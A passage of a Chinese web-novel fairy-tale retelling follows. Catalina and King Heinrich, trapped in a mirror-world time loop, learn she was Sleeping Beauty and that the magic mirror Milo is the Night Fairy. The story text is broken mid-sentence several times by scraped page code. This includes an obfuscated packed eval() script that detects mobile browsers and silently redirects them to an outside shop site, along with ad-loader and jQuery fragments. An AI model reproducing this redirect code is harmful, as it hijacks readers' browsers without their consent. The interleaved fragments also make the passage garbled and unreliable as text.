“海因里希”听到他这样说，立即迈腿往外走，想要去找自己的王后，那令他牵挂的身影便出现在王宫长廊的尽头，同时朝他走来。 “出什么事了？亲爱的。”她拉住“海因里希”的手，一脸关切。显然是听到王宫的警报，她才急急忙忙从医疗中心赶回来。 “海因里希”一把将她抱在怀里，心终于落了地。 但她已经意识到这并不是寻常的一天，表情严肃，回抱着国王，将手放在那宽阔的背上。她贴在他耳边，以仅有他能听到的音量轻声说道：“我已经吃下了他的肺叶和肝脏，他会成为我们的儿子重生。” 海因里希将她松开，低头看向她较之前微微隆起的小腹。 他看向她的眼神充满柔情，却仍有忧虑，说：“可，他自身所携带的循环，已经令我们深陷其中，我怕……” 王后垫脚轻轻在他嘴边啄了一下，将他未出口的话打断。她笑着：“一切都在我的掌握之中， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721343|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经要结束了，不然你以为我平白召唤出来的，真就只是幽灵骑士那么简单？” 国王王后夫妻两人看着对方，默契地牵住手。 “不用再找了。”“海因里希”朝安德鲁下令，“全员戒备，听我的指令行动。今夜，有一场秘密的战事。” * 卡特琳娜拉着海因里希不知道逃到了哪里，她也不知道能逃到哪里。洛尔兰王宫的镜子都被王后隐匿起来，她根本感知不到。 卡特琳娜在王宫后森林里一处平静的小湖泊冒出了头来，浑身湿透往岸边游去。她突然发现海因里希不见，才潜入水中去寻。 原来海因里希身穿冬季的铠甲战衣，直接往湖水底部沉。他水性很一般，一时间难以脱下铠甲，只得吐泡泡憋气挣扎。 卡特琳娜在以前的世界里是渔村生活的女孩，她非常擅长游泳和潜水。她游到海因里希身边，安抚他不要乱动，帮助他将身上沉重的铠甲脱下来。 终于，她拖着赤身的海因里希爬上了岸。 这会儿已经是下午的时间，阳光透过林叶间的缝隙照过来，令湖水像一面晶莹的镜子。 “冰雪女神！”海因里希感叹道，他终于能喘气了！ 卡特琳娜也浑身湿透，瘫倒在岸边，发出了类似的感叹：“我的老天奶！” 等两个人呼吸平静，海因里希坐起来就开始提问：“这里究竟是哪里？为什么刚刚会有一个跟我长得一模一样的人？他似乎对你充满了恶意，发生了什么事？” 卡特琳娜不知道该怎么跟他解释，就反问道：“你怎么会来这里？” 海因里希将自己无名指上的婚戒取下来，塞进了卡特琳娜的手里，回答说：“我通过婚礼誓约的指引，找到了你的所在。” 卡特琳娜看着手里的婚戒，有些愣住。她似乎一直没有注意过自己身上有没有婚戒，反正手上是没有戴着的。 见她不说话，海因里希面色一沉，说起了当初在婚礼上的誓言：“我曾对全知神和冰雪神起誓，我，海因里希*内华达*范维西，自愿娶卡特琳娜*布瑞尔*古奥斯为妻，按照神的规诫与她同住，在神面前和她结为夫妻，我会爱她、安慰她、尊重她、保护她，不论她生病或是健康、富有或贫穷，始终忠于她，直到生命终结。如果她需要我，我会在神的指引下，来到她的身边。” 虽然誓言当中说的“爱她、安慰她、尊重她、保护她”，海因里希不一定都做到了，但他确实在她需要他的时候，来到了她的身边。 卡特琳娜第一次感受到婚姻契约的力量，当初的誓言在无形之中将他们捆绑在了一起。 她身上湿湿的不太舒服，起身想要想办法把衣服弄得干燥些。 海因里希却突然抓住她的手，不让她站起来，反而将她按倒在地。他的脸色变得格外冷酷严肃，眼中闪过某种令人胆寒的决心。 “你不可以单方面宣布离开，卡特琳娜。你是我的王后，无论你去了哪里，我都会找到你。” 他说。 59. 白雪公主（12） “你有求于我，不如直说。” 卡特琳娜差点翻白眼。她将海因里希推开，自己站起身来，将湿掉的破布裙子脱掉。 海因里希面上一红，立即转过头不去看她。 “我求你什么了？”他不承认。 虽然卡特琳娜不知道现界发生了什么，但她早就察觉了海因里希身上的亡灵气息。结合之前洛尔兰剑拔弩张的局势，她猜到一定是出了不小的纷争。 海因里希不愿意说，她也不会逼迫。 “现在天色不早，赶紧把衣服晒干，搞些吃的。”她认为当下的困境更加重要，也顾不得海因里希突然出现是为了什么，“另一个你一定会派兵追捕，也不知道会不会找到森林里来。到了晚上说不定会有变故，我们不能放松警惕。” 她说着利用魔法支起了木架子晾衣服，也升了一个火堆。现在白天，火堆的烟雾还不明显，天色变暗就不敢再用火惹人注目了。 海因里希脱去了铠甲和内衬，只能光溜溜的，他自告奋勇去林子里摘果子，而卡特琳娜则是下湖里抓鱼。 没想到一时不敌，他们过上了野外求生的生活。 海因里希不知道从哪里搞了件日常村民的衣服，也给卡特琳娜带了一个村姑的服饰。 卡特琳娜不乐意穿，说：“我这里有裙子啊，不需要你多此一举。” 但裙子没有干透，她就也还是穿上了村姑的衣服。不过即使这样，她美艳的容貌也是衬得朴素的服装华丽了一些。。 “真难吃……” 没有任何调味料，只能将鱼烤熟了吃。要不是卡特琳娜饿得不行，她真的咽不下去。 “早知道把布莱恩随身带着……” 虽然那个胖大叔厨艺麻麻，但他是虔诚的食神信徒，非常好调教。而且现在卡特琳娜掌握了镜子空间魔法的精髓，她完全可以将布莱恩放在镜子空间里。 海因里希打断了她的想象：“我们是不是应该好好聊一聊？” 她看了他一眼，在心里将他与刚刚那个年长的“海因里希”进行对比。不得不说还是年纪大的会疼人，就说他对王后的深情体贴，真不像是假的。而且还成熟稳重、能力强，不比这个愣头愣脑的黄毛小子好吗？ “聊，是该好好聊一聊。”卡特琳娜认同地点头。 他们必须交换情报，信息差无论在哪个时代都是胜负的关键。 * 在他们初步掌握了对方的情报之后，已经日下山头，森林里的光线变得暗起来。虽然没有当初幽暗森林的阴冷感觉，但还是让人心里发出自然而然的敬畏。 卡特琳娜将火扑灭，掩盖他们在附近活动的痕迹，带着海因里希朝镜子预言指引的方向走——她需要找到以幽灵骑士的身份活动的马林，他才是结束这个时空循环的关键。 “你不觉得奇怪吗？”海因里希跟随卡特琳娜的脚步，一边走一边提出了质疑。 卡特琳娜告诉了他在镜界中发生的大部分事情，但隐瞒了自己穿越者的身份、白雪公主童话故事的原版本以及魔镜米洛的存在。 “什么？”她反问。 海因里希声音沉下来，说：“虽然循环的触发很有可能是与马林或你的死有关，但为什么循环的开始是另一个你把你作为幽灵骑士召唤到这里来？” 卡特琳娜略微愣住，她之前确实没有考虑过这个问题。 “你是怎么被召唤到这里来的，事情发生之前你正在经历什么？”海因里希继续提问。 是了，即使是召唤，也是有一定魔法学源动力在其中，不会无缘无故…… 卡特琳娜回忆起来，当时她正处于灵空间当中，她看到了熟睡在城堡房间中的她自己。 然后她穿上了幽灵骑士的铠甲，受到了镜子的吸引…… 还有别人。 从她穿越到这个世界，再来到时空循环的境界，还有一个不知名人士的参与！ 是那个让卡尔都记不起来容貌和姓名的收藏家？她/他故意将“圣泪”辗转给到卡特琳娜手里，到底是有什么目的？ 卡特琳娜突然停下了脚步，一股寒意由她脚底升到了头顶。她也根据海因里希的讲述对现界发生的事情有了了解，将一切重新串联起来，她发现了疑点。 幽灵卡特琳娜不知道从哪里得到了她与海因里希的血脉，植入到了伊桑的肚子里。 “什么？”海因里希没理解她的话。 虽然他怀疑卡特琳娜的身份，但却并不知道他的王后内里已经换了另一个灵魂。 “你没跟我说实话，十四团根本不存在。粮车既然不是他们抢劫的，那就应该是你抢劫了！”卡特琳娜从海因里希的话语中找出了破绽。 他们是一对相互隐瞒、欺骗的夫妻，跟镜界里那对一致对外的模范伴侣可不一样。 卡特琳娜二话不说抓住海因里希的冰雪审判之剑，抽出剑来抵在海因里希的脖子上。 海因里希没有意料到她突然发难，只能背靠着树干，低头直面卡特琳娜怒意勃勃的眼神。 他承认了：“是的，粮车确实是我带走的。但你不能将其称为抢劫，因为那本来就是拜厄女王赠予洛尔兰的东西。属于洛尔兰的也就是属于我，我只是对你隐瞒了事实。” 对于这些，卡特琳娜并没有太多关心，她问：“为什么？” 事到如今，海因里希也没有必要隐瞒。 他实话实说：“我得到了重要的情报，每年拜厄女王凯特罗琳送来的粮车都不是简单的粮食，而是接受过仪式的魔法食材。虽然我不太清楚这些魔法食材的危害，但我不能让它再堂而皇之地进入洛尔兰王宫！” 果然！ 卡特琳娜心中的猜测更加清晰了起来。 魔法食材对她的影响非常重大，由于没有办法摄入拜厄送来的食材，所以之前的幽灵卡特琳娜才会被驱离卡特琳娜的肉身。然后，她这个穿越者来到了这里…… “是谁？是谁告诉你这件事的？”她继续逼问海因里希，她必须知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729412|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真相。 现界发生的一切都在镜界中有所对应，她不能放过任何一丝线索。 “夜仙女，凯妮丝。”海因里希说出了他的情报来源。 按理来说，他不敢提及夜仙女真正的名讳。她的魔力非常强大，能够感应到提及她的大多数人。但现在他所处的境界，陷入了时空循环中。他故意提到夜仙女凯妮丝，如果能够在一定程度上被她感应到，也许这会成为他们打破循环的其中一个有利因素。 卡特琳娜皱起眉头，“我对凯妮丝的了解不算多，你能具体说说吗？” “把剑放下，我知道的都会告诉你。”海因里希脾气很好地劝道，“我们是并肩作战的伙伴，我不是故意隐瞒，是信息太多，总会有部分遗漏。你只要问我，我都会好好回答。” 卡特琳娜并不敢完全相信他的话，但也还是将剑放回了原位。她拉着海因里希潜入了森林的夜色，两人用极低的声音交流。 海因里希开始向她具体叙述有关夜仙女的事情：“当时你还在沉睡之中，并不知道十四仙盟的事情。费里特独立大学还叫做拜厄皇家学院，只招收拜厄的王亲贵胄的子女为学生。你母亲凯特罗琳与当时的会长凯妮丝是第一届十四仙盟的双首席，凯特罗琳是日仙女，凯妮丝是夜仙女，两人情同姐妹，形影不离。 “她们那一届的巫师实力是后面所有学子加起来都比不过的，她们后来都成为了对拜厄乃至全世界都有极大影响力的人物，直至今日仍活跃在魔法界。当时她们毕业之后，被国王授予了徽章，能够永远使用十四仙盟的荣誉和称号。 “不久后国王重病，你的母亲嫁给了亨利公爵大人，并在局势混乱中登基成为了女王。当时她的心腹便是十四仙盟除她之外的仙女，她们帮助女王肃清了敌对党派，并推动了魔法界的各项举措和改革。令人遗憾的是，其中并没有夜仙女凯妮丝的身影。在凯特罗琳登基之后，她与凯妮丝之间似乎出现了无法修补的嫌隙。” 卡特琳娜捕捉到了关键点，她也不在乎会不会暴露自己穿越者的身份了，问道：“沉睡？我在沉睡？这是什么意思？” 海因里希早对她身份起疑，见她已经失去了那时候的记忆，不动声色，解释道： “你是凯特罗琳*古奥斯与亨利*索尔*古奥斯的独生女儿，女王在刚刚登基的第一年生下了你，为你的诞生举行了盛大的庆典。但当年的情景，已没有太多人能清楚记得——这可能是由于魔法的影响。那段时间，费里特的政局还不太稳定，女王邀请了十四仙盟的十二月仙女来为你的诞生祝贺，唯独遗漏了夜仙女，具体的原因没有其他人知道。 “仙女们送给你美德、美貌、富有，把世人所有的优点和期盼都送给了凯特罗琳女王唯一的公主。在一切和乐融融的时候，夜仙女突然到场，做出了预言—— “女王的女儿在十五岁时会被纺锤弄伤，并因此而死。” 卡特琳娜听到这里差点没有绷住。 敢情她的原身是睡美人本美人啊！ 60. 白雪公主（13） 她默不作声，继续听海因里希往下说。 “夜仙女做出预言后就离开了公主的诞生庆典，但她的预言相当于是一个诅咒。凯妮丝自成为巫师开始，就一直以预言的精准和诅咒的狠毒闻名。有关于她本人的资料已经从大学档案馆转移到了费里特王室，是凯特罗琳女王和议会大臣们绝口不提的秘辛。 “凯特罗琳作为日仙女，在庆典的最后给女儿送上祝福和预言——夜仙女凶险的预言的确会应验，但卡特琳娜*布瑞尔*古奥斯公主能够化险为夷，她不会死亡而是昏睡，直到真爱之人将她吻醒。 “从那之后凯特罗琳颁布了纺锤禁令，让拜厄成为了没有纺锤的国家，纺织品的纺织加工全部依赖进口。这也加速了拜厄的外贸经济扩张，让它成为了北大陆第一的经济强国。” 其实卡特琳娜在学习历史的时候也对这一段有印象，但没想到竟然与《睡美人》的故事发生了重合。 她心道，怪不得洛尔兰有那么多废弃的手工纺织作坊，之前洛尔兰依赖手工纺织出口富裕起来。但在布瑞尔公主醒来之后，拜厄恢复了纺锤的生产，开始发展工业纺织，洛尔兰的手工纺织就渐渐被淘汰掉。小小国家的经济体系不得不转变，重操旧业干起农业和畜牧，反而更贫穷。 “然后呢？”她像是听故事听入了迷，追问道。 “在那之后，凯特罗琳女王一直将你保护得很好。你很少出现在公众的视线中，但拜厄有一项传统，贵族女子在十五岁后应该进入社交场合，这有利于适龄少女选择合适的夫婿。 “因此，在你十五岁的时候，女王为你安排了更加盛大的生日宴。但也就是那一天，你并没有在宴会上路面，并且在之后你彻底消失在了公众的视线中。女王对外宣称公主病重，实际上你是在那天意外进入了夜仙女凯妮丝构建的某个异空间，在虚幻的费里特的王宫塔楼上触摸纺锤受伤。 “由于夜仙女的诅咒预言和女王的祝福预言相互对抗，你陷入了沉睡，并且也让整个异空间被隔绝。女王将你所在的异空间封存起来，开始秘密征集勇士解救你。 “在女王的悬赏公告中，如果有成功者，即为公主真爱，不仅能获得财富、全力，还能够与你结为夫妻，成为拜厄古奥斯家族的贵婿，世世代代永获荣光。 “但在十年间，没有任何人能够做到。” 说到这里，海因里希的眼眸似乎闪过了某种暗色。如他那般骄傲的人，却不过是依仗妻子家族才得到了维系洛尔兰存活下去的财富和力量。 这一段与卡特琳娜了解的《睡美人》的故事有所出入，但她也在瞬间理解了幽灵卡特琳娜能够附身的秘密。 卡特琳娜打断了他，声音很低，说：“你做到了，海因里希*内华达*范维西。” 原来，他当初被肯*沙穆囚禁，被凯特罗琳女王救出来，答应的条件中竟然有这一件。 十年前，是幽灵卡特琳娜借由公主沉睡的身体重新为人的时候。是海因里希救了她出来，也就怪不得幽灵对他有着偏执的感情。 海因里希沉默了几秒，说：“是的，我进入了那个异空间，将你带回了现界。之后，凯特罗琳女王为我们举行了婚礼。我不需要财富，不需要权力，我向女王请求，她同意让我带着你来洛尔兰生活。” 原来…… 卡特琳娜的大脑飞速转动，她总觉得其中有她没有抓住的东西。 如果她是“睡美人”，那给她诅咒的夜仙女凯妮丝又扮演一个什么样的角色？夜仙女不仅预言了她的沉睡，还预言了范维西后裔的未来…… 而且，为什么夜仙女会给海因里希关于粮车的情报？凯特罗琳女王送来的魔法食材究竟具有什么样的作用？这其中会有什么样的隐情？ 怪不得结婚的时候她明明年纪不小，却看起来只有十五六岁，因为在她沉睡的时候，她身上的时间被冻结了。而且后来她的肉身被幽灵占据，幽灵用了各种各样的手段和魔法保持年轻美貌，以至于她后来成为了“世界上最美丽的人”。 卡特琳娜太多疑问，以至于不知道该先问哪一个。 海因里希大概知道她的心思，便自己开口回答了：“离开那个异空间之后，我昏迷了很久，醒来就忘记了在里面发生的一切。你若是在问我是怎么把你救出来的，我也不知道。 “但……我通过婚礼誓言的指引，来到了镜界，突然有了某种奇异的感觉。也许，当年的异空间是镜界的某个部分……” 卡特琳娜沉吟了几秒，又问：“夜仙女凯妮丝是如何与你联系上的？为什么她会告诉你这种情报？” “凯妮丝与凯特罗琳女王不合是所有人都知道的事情，她对你进行了恶意预言，并在你沉睡苏醒后对你的未婚夫，也就是我的家族，进行了祝福预言。当然，说是祝福预言也不准确。 “她的预言就是插在范维西家族里的刀！在我们的婚礼上，夜仙女凯妮丝贸然前来，预言范维西家族第四代的男性继承人会统御整个北大陆。这也就意味着，她在向女王挑衅。 “女王选择了让我来娶你，但夜仙女凯妮丝却预言我的后人会推翻拜厄的统治。既然古奥斯与范维西已经联姻，女王不能再动我，但洛尔兰无疑是成为了她心里的一根刺。当时她知道我与已故妻子安娜有一个孩子，便令我杀了他以示忠诚。 “我不得不将马林非我亲生的真相告知，并且在费里特做了结扎手术，同意女王派第七军驻扎洛尔兰，她才特许我带你一起回来。” “啊？你真做了结扎手术？” 卡特琳娜没想到她的母亲凯特罗琳女王竟然如此心软，仅仅是让海因里希做结扎手术，要是她来的话，杀不了就绝对阉了这个会威胁到自己的男人。 结扎手术还可以通过手术将输精管复通，是能够恢复生育能力的。而隔了蛋蛋，才是真正的断绝了子子孙孙的可能。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738048|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 海因里希面无表情地说：“当时我们已经结婚，手术同意书上的监护人一栏，是你给我签的字。时间过了太久，你忘记了。” 卡特琳娜无话可说，她已经暴露了太多。海因里希没有揭穿还给她找补，但显然他知道面前的女人与十年前的不是同一个。 苏醒后的卡特琳娜*布瑞尔*古奥斯公主，失去了仙女祝福的一切美德，变成了善妒、傲慢、刻薄、残虐、阴狠的恶毒女人。而眼前的卡特琳娜，与他见过的任何一个女人都不一样。 “你这一代，不是还有个卡尔，女王，我母亲她没想过对卡尔动手？”卡特琳娜疑惑。如果是她，她不会放过范维西家族的任何一个男人。 “卡尔与拜厄邓肯家族的小姐有婚约在身，等小姐成年之后，卡尔会入赘邓肯家，将姓氏改为邓肯——这是当年与女王约定好的事情。” 这样倒也是行。 卡特琳娜想起了纳温来，不知这对“好友”的未来会是如何了。 海因里希继续说：“回到洛尔兰的十年间，我没有一刻不在提心吊胆。我知道，拜厄一定会对洛尔兰动手，这只是时间的问题。所以我一直在做着战争的准备，即使我的能力有限，不一定能与拜厄对抗，但好过连尝试都没有。 “就是在今年年初，粮车即将运达的时候，夜仙女凯妮丝来到了我的梦里。她告诉我，她的预言即将成真，让我做出选择。这是没有悬念的问题，我只可能选择洛尔兰，我守护的国家。为了它，我愿意和任何势力斗争。 “凯妮丝告诉我，我能做的唯一的事情，就是毁掉拜厄运来的粮车。” 凯妮丝、粮车、幽灵女、镜子、幽暗森林…… 有什么在逐渐浮出水面，但卡特琳娜始终抓不住。她的穿越难道是凯妮丝一手策划的？十年前究竟是发生了什么事情？ 卡特琳娜突然有了某种危险预感，她连忙抓住走在后面的海因里希的手，让他停在了原地，提醒道：“……来了。” 海因里希往前看，看到了黑暗的森林中，冷冷清清的月光勾勒出一个模模糊糊的影子。黑色的铠甲、幽冥的气息、绝望的压迫感…… 但身形并不高大，甚至比卡特琳娜还要矮一些。 是马林！ 即使马林已经长成大孩子，但海因里希还是立即认出了他来。海因里希想要冲上前去叫住他，却仍被卡特琳娜紧紧拉住手腕。她怕出现不必要的差错，伸手捂住海因里希的嘴巴，将他按在大树背后的阴影里。 “嘘！别出声！别轻举妄动，小心有诈！”卡特琳娜控制住了海因里希，眼睛却一直透过树木之剑的空隙观察铠甲骑士。 那穿着幽灵铠甲的骑士在原地一动不动，就像是一尊雕像，月光集中在他的铠甲上，却没有光线反射，反而是被黑暗吸收。 太诡异了。 简直就像是诱饵，引他们步入陷阱的企图过于明显了。 61. 白雪公主（14） 再次看到幽灵铠甲的瞬间，卡特琳娜在脑海里一直抓不住的关键点浮现了出来，将一切连成了线。即使有一些部分可能还有欠缺，但她大致上已经清楚自己所处的境地和破局的可能。 以她本人作为现界人，这里是对应她唯一性的唯一镜界，相当于一个平行世界。这个世界与现界有诸多的不同点： 第一，镜中人“卡特琳娜”没有受到诅咒预言，所以没有成为“睡美人”的过程，她与“海因里希”是自由恋爱结婚。因为没有了被冻结的那十年，所以她的容颜会显得衰老许多，而与现界的时间流逝对应不上。以玛利亚/马林的年龄为基准，现界中他十四岁，这里他才十六岁，也就是说目前镜界的时间点是现界的两年后。 第二，凯特罗琳*古奥斯没有登基，拜厄的王是她的夫婿亨利*古奥斯。凯特罗琳与凯妮丝是十四仙盟的双首席，虽然她们之间的故事神秘未知，但可以推测的是，凯妮丝的存在是凯特罗琳能够成为女王必不可少的条件。十四仙盟可能还存在于世，但它仅仅是拜厄皇家学院的不知名学生组织，没有了接受国王授勋并永久使用仙女之名的机会，也就不能够名声大噪。 第三，伊桑*沙穆并没有被派遣到洛尔兰。由于凯特罗琳不是拜厄女王，王权与神权的斗争并没有到白热化的程度，镜界中拜厄全知神教的教皇肯*沙穆手握比现界中更多的权柄，他无需设计伊桑*沙穆这枚棋子来牵制王权。因此，镜中人“卡特琳娜”与“海因里希”恩恩爱爱，没有出轨神父的情况，神父腹中也就并没有他们的私生子。 由于她本人离开了现界，来到了镜界之中，现界没有真实的可以对应的她，所以镜界中除开她的真实唯一性后，出现了一个至关重要的变化——夜仙女不存在。由此产生的许多连锁反应，也可以说是蝴蝶效应。 而令人震惊的是，她是夜仙女存在的决定性因素。 这种情况，她只有想到两种可能： 第一，她是夜仙女本人，由于她从现界来到了镜界，这个镜界对应的夜仙女即是不存在的； 第二，夜仙女不是不存在，而是受到了更前置的历史影响，以另一种形式存在，她可能隐姓埋名成为了别的人，也可能有别的难以想象的原因——但无论如何，“夜仙女”这个名字在镜界的抹除，意味着卡特琳娜本人与“夜仙女”关系匪浅。 根据刚刚海因里希给出的线索，夜仙女向他提供了关于粮车的情报，让他将其抢劫，这说明了夜仙女是知道幽灵占据卡特琳娜肉身的知情人。 如果卡特琳娜猜得没错的话…… 布瑞尔公主的肉身被幽灵女占据，不是简简单单的魔法能够达成，需要严密复杂的布置和仪式，以及一个强大到可怕的人灵派巫师。当初海因里希陷入了凯特罗琳女王和教皇肯*沙穆的权力斗争，难说这不是一个早就设计好的局。 幽灵女无法与公主的肉身完全融合，需要依靠外力的帮助。她必须长期食用由拜厄送到洛尔兰的魔法食材，不然就会有灵魂脱离的风险。 海因里希在夜仙女的指导下抢劫了粮车并嫁祸给十四团，让幽灵女的灵魂状态极不稳定。在各种因素的作用下，异世界的白钰的灵魂穿越到了这里，进入了卡特琳娜的肉身。 然后，卡特琳娜她被推动着将故事进行到了现在这一步。 无论是一开始与米洛的契约，后来在梦境中与幽灵女的对抗，还是青蛙公主的幻境、白雪公主或睡美人的相似故事，她都是被推动着走的那一个。 如果她潜意识里没有这些童话故事对她的影响，也许她会做出许多不同的选择。 “我……只是一颗棋子吗？” 她拉着海因里希隐藏在阴影里，思路却无比清晰起来。她以为她按照童话故事的逻辑来思考能够找出破局的关键，但这些故事也许是被人为植入她脑海中的。 她只是一个无辜的穿越者，为什么是她？！为什么要选中她？！ 海因里希发现卡特琳娜的表情在几秒钟之内变得阴沉无比。 他们静静等待着，但什么都没有发生。夜里有轻轻的风声，有蝉鸣，有虫叫，森林里立着的铠甲像是他们的幻觉。 海因里希心里变得急躁起来，不敢轻举妄动，只能俯身在卡特琳娜耳边小声提醒道：“已经没有时间了。伊桑*莱斯利临盆即将生产，格里高叶的仪式失败。虽然我不知道他们要做什么，但伊桑*莱斯利获得了幽冥的力量。他会毁了洛尔兰，我不能眼睁睁看着。我们必须赶紧离开这里，回去阻止他，只有你能阻止……” 他已经将现界发生的绝大部分事情告诉了卡特琳娜，希望能够获得她的帮助。 “我也阻止不了。”卡特琳娜将食指放在海因里希的唇上，侧过脸冷声说。 “不……”海因里希没想到之前交流的时候还好好的，现在她竟然直接拒绝了自己。 他正想要再说什么，被卡特琳娜打断了。 她将之前他给她的婚戒拿出来，并与自己的那一只窝在一起。她说：“我之前跟你说过，你应该当我已经死了，但你却当没听见。既然如此，我们离婚吧。” 海因里希突然懵住，他没想到，在这种关键时刻，卡特琳娜竟然跟他说这个？而且，她戒指不戴手上，但也是随身携带的吗？ “想必你已经知道，我不是跟你结婚的那个卡特琳娜。这具身体里的灵魂已经换了一个，我们之间的婚约应当算作无效。”她手上用力一捏，竟然将两只婚戒捏碎成了粉末。 海因里希瞪大了眼睛，不敢相信。 “但夜仙女说得不错，她的预言即将实现。伊桑*沙穆，不，现在应该叫他伊桑*莱斯利吧？他腹中的孩子并非我和他的孩子，而是我和你的孩子。那孩子将会有着范维西和古奥斯两个家族的纯种血脉，从他诞生的那一刻开始，他就注定了会成为统御北大陆的王。” 海因里希也顾不得隐蔽了，他拉住卡特琳娜的手，音量大起来：“你究竟是什么意思？伊桑*莱斯利怎么可能怀的是我们的孩子？” 卡特琳娜本不想解释，但看着眼前这个救过自己的人，还是决定还他恩情，不想有任何亏欠。 她说：“之前的卡特琳娜对伊桑做了子宫移植手术，并且用了特殊的手段得到了有着我们两人血脉的胚胎植入了伊桑的腹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中。虽然按照常理来说，那应该是你和她的孩子，但由于伊桑的灵体内存在由我灵魂产生的孕种，所以实际上那孩子是我和你的孩子。” 在海因里希怔住的时候，她沉声补充了一句：“我们都被利用了。” “我不明白你在说什么……”海因里希惨败着一张脸，连连后退，退出了树木的阴影，站在了月光之下。 月光由他头顶洒下来，将他整个人包裹在其中。他在恍惚中突然明白了什么，不可置信地看向不远处的幽灵铠甲。 月亮的幻影。 “月亮的坟墓在十三月的尽头。”卡特琳娜说着，也从阴影中走出来，“冰雪女神即将失去月亮的权柄，冰鸟和苍蛇会成为幽冥的力量，洛尔兰不再是冰雪的国度。” 在她说话间，静谧的森林突然躁动起来，无数的骑士从阴影中窜了出来，围绕着她和海因里希，也列队在幽灵铠甲的周围。 月亮幻影构成的幽灵铠甲果然是诱饵，但却在整个陷阱的设计中显得太过于温和。并非想要将她置于死地，而是剖开来展示给她看。 无异于示威。 告诉她，一切都是安排好的。 “你又何必再伪装呢？”卡特琳娜紧紧握着拳头，并没有理会周围的骑士，而是转过身面对着静止的铠甲。 她努力让自己的声音显得平静，却还是有着颤抖的迹象，她不愿意相信，所以在试探。 “为什么还要骗我？你究竟骗了我多少？从一开始……从一开始……”她感觉自己呼吸都紊乱了起来。 波动的灵力在她周身溢出，令周围的骑士警惕，他们握着长剑向她靠近，如果一旦有变，他们会毫不犹豫对她发动袭击。 “往后退。” 镜中人“卡特琳娜”命令道。 也许是因为年纪更长，她的声音比卡特琳娜更沉稳一些。她被“海因里希”扶着手，也从阴影中走了出来，站在了幽灵铠甲后面两米的距离。 与他们一同出现的，还有被押着的马林，他被两个骑士架在中间，本来麻木的眼神在看到卡特琳娜的瞬间闪过了一丝光亮。他张了张嘴，没发出声音，但卡特琳娜读出了他的唇语。 “不一样了。” 是的，不一样了，这一次循环与以往的每一次都不一样了。因为海因里希的穿越，让卡特琳娜得到了现界的重要信息。 所有的事情都能够串在一起。 骑士们听到女王的命令，往后退了几步，离卡特琳娜稍远了些。 “你一直在骗我！”卡特琳娜没有办法在压抑自己的情绪，怒吼道。 随着她的怒吼，以她为中心升起了一阵风暴，将周围的骑士吹得要么倒地要么趴跪，甚至于几棵稍细弱的树木被吹得倒下。连海因里希都有些承受不住，不得不将剑插入地面来支撑自己。 镜中人“海因里希”反应非常迅速，他凝结了一道冰墙，将他和王后以及身后的人都保护起来，没有受到风力的波及。 “你一直在骗我，米洛。”卡特琳娜说出这个名字，觉得自己的心在滴血，“不，应该称你为魔镜，或者是夜仙女凯妮丝，对吧？” 62. 白雪公主（15） 由卡特琳娜灵力外溢而形成的风力停下，夜间森林再次陷入无尽的寂寥。 卡特琳娜的话音刚落，幽灵铠甲所在的位置出现了一面干净无比，令人难以察觉的玻璃镜面。镜中的铠甲画面逐渐消失，出现了那个背叛她的“人”。 也许，不能够称“她”为“人”。 齐肩的短发，发梢微微卷起，轮廓柔和的瓜子脸，皮肤白皙细腻，深褐色的眼瞳明亮有神，睫毛长而浓密，鼻梁高挺小巧，显得清秀干净。她打扮得简约清新，宽松的针织衫和牛仔裤，随性自然又充满青春活力。 与白钰长相一致的面孔，甚至连服饰都是卡特琳娜穿越前那个世界的风格，令人非常有亲切感的女大学生。只有她自己知道，这幅纯良无害的形象背后是如何一个伪装者。 在境界中第一次见到魔镜时，她就应该知道……但她可以逃避，不去关注这许多细节，自己欺骗自己，不愿意面对事实。 魔镜已经深刻影响了她的灵空间，当时从幽暗森林里逃出来时的王宫塔楼里，她所穿戴上的铠甲，就已经是被设计好的…… “我的卡特琳娜，我从来没有名字，如果一定要有的话，我愿意做你的米洛。”“她”用与卡特琳娜相似的声音回答道，“我从来没有骗过你，我回答了几乎所有你想要知道答案的问题，所说的每一句话、每一个字，都没有欺骗。” “但你有隐瞒。” 卡特琳娜将“圣泪”化作了当时王后交给她让她去刺杀公主的猩红匕首，她将匕首伸到了前方向所有人展示。 她说：“由于幽灵女的缺位，从十年前你与卡特琳娜*布瑞尔*古奥斯签订契约之后，你就一直在她身边。不仅仅是作为她的镜子，也是作为她的导师。镜子魔法，是你教她的，就像你以前教我的那样。 